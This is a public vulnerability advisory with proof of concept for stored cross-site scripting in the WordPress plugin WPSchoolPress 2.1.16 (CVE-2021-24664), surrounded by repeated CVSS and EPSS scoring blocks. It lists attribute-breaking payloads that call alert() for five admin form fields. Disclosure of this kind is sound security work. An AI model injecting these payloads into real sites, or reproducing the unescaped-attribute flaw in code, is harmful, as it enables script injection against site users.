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WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)

2021-11-1500:00:00
Davide Taraschi
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wordpress plugin
wpschoolpress 2.1.16
cross site scripting

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

4.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

AI Score

5.1

Confidence

High

EPSS

0.001

Percentile

41.5%

# Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

4.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

AI Score

5.1

Confidence

High

EPSS

0.001

Percentile

41.5%